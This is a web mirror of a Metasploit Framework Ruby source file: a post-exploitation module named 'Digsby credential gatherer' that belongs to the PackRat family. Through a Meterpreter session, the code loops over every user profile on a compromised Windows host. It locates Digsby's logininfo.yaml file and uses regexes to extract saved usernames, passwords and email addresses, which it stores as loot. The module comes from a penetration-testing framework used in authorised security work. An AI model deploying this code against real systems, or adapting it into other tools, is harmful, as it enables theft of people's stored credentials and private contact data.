CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/credentials/digsby.rb
Views: 11704
1
# frozen_string_literal: true
2
3
##
4
# This module requires Metasploit: https://metasploit.com/download
5
# Current source: https://github.com/rapid7/metasploit-framework
6
##
7
8
class MetasploitModule < Msf::Post
9
# this associative array defines the artifacts known to PackRat
10
include Msf::Post::File
11
include Msf::Post::Windows::UserProfiles
12
include Msf::Post::Windows::Packrat
13
ARTIFACTS =
14
{
15
application: 'digsby',
16
app_category: 'chats',
17
gatherable_artifacts: [
18
{
19
filetypes: 'logins',
20
path: 'LocalAppData',
21
dir: 'Digsby',
22
artifact_file_name: 'logininfo.yaml',
23
description: "Digsby's saved Username &amp; Passwords",
24
credential_type: 'text',
25
regex_search: [
26
{
27
extraction_description: 'Searches for credentials (USERNAMES/PASSWORDS)',
28
extraction_type: 'credentials',
29
regex: [
30
'(?i-mx:password.*)',
31
'(?i-mx:username.*)'
32
]
33
},
34
{
35
extraction_description: 'searches for Email TO/FROM address',
36
extraction_type: 'Email addresses',
37
regex: [
38
'(?i-mx:to:.*)',
39
'(?i-mx:from:.*)'
40
]
41
}
42
]
43
}
44
]
45
}.freeze
46
def initialize(info = {})
47
super(
48
update_info(
49
info,
50
'Name' => 'Digsby credential gatherer',
51
'Description' => %q{
52
PackRat is a post-exploitation module that gathers file and information artifacts from end users' systems.
53
PackRat searches for and downloads files of interest (such as config files, and received and deleted emails) and extracts information (such as contacts and usernames and passwords), using regexp, JSON, XML, and SQLite queries.
54
Further details can be found in the module documentation.
55
This is a module that searches for Digsby credentials on a windows remote host.
56
},
57
'License' => MSF_LICENSE,
58
'Author' => [
59
'Kazuyoshi Maruta',
60
'Daniel Hallsworth',
61
'Barwar Salim M',
62
'Z. Cliffe Schreuders' # http://z.cliffe.schreuders.org
63
],
64
'Platform' => ['win'],
65
'SessionTypes' => ['meterpreter'],
66
'Notes' => {
67
'Stability' => [CRASH_SAFE],
68
'Reliability' => [],
69
'SideEffects' => []
70
}
71
)
72
)
73
74
register_options(
75
[
76
OptRegexp.new('REGEX', [false, 'Match a regular expression', '^password']),
77
OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),
78
OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),
79
# enumerates the options based on the artifacts that are defined below
80
OptEnum.new('ARTIFACTS', [
81
false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map do |k|
82
k[:filetypes]
83
end.uniq.unshift('All')
84
])
85
]
86
)
87
end
88
89
def run
90
print_status('Filtering based on these selections: ')
91
print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}")
92
print_status("STORE_LOOT: #{datastore['STORE_LOOT']}")
93
print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n")
94
95
# used to grab files for each user on the remote host
96
grab_user_profiles.each do |userprofile|
97
run_packrat(userprofile, ARTIFACTS)
98
end
99
100
print_status 'PackRat credential sweep Completed'
101
end
102
end
103
104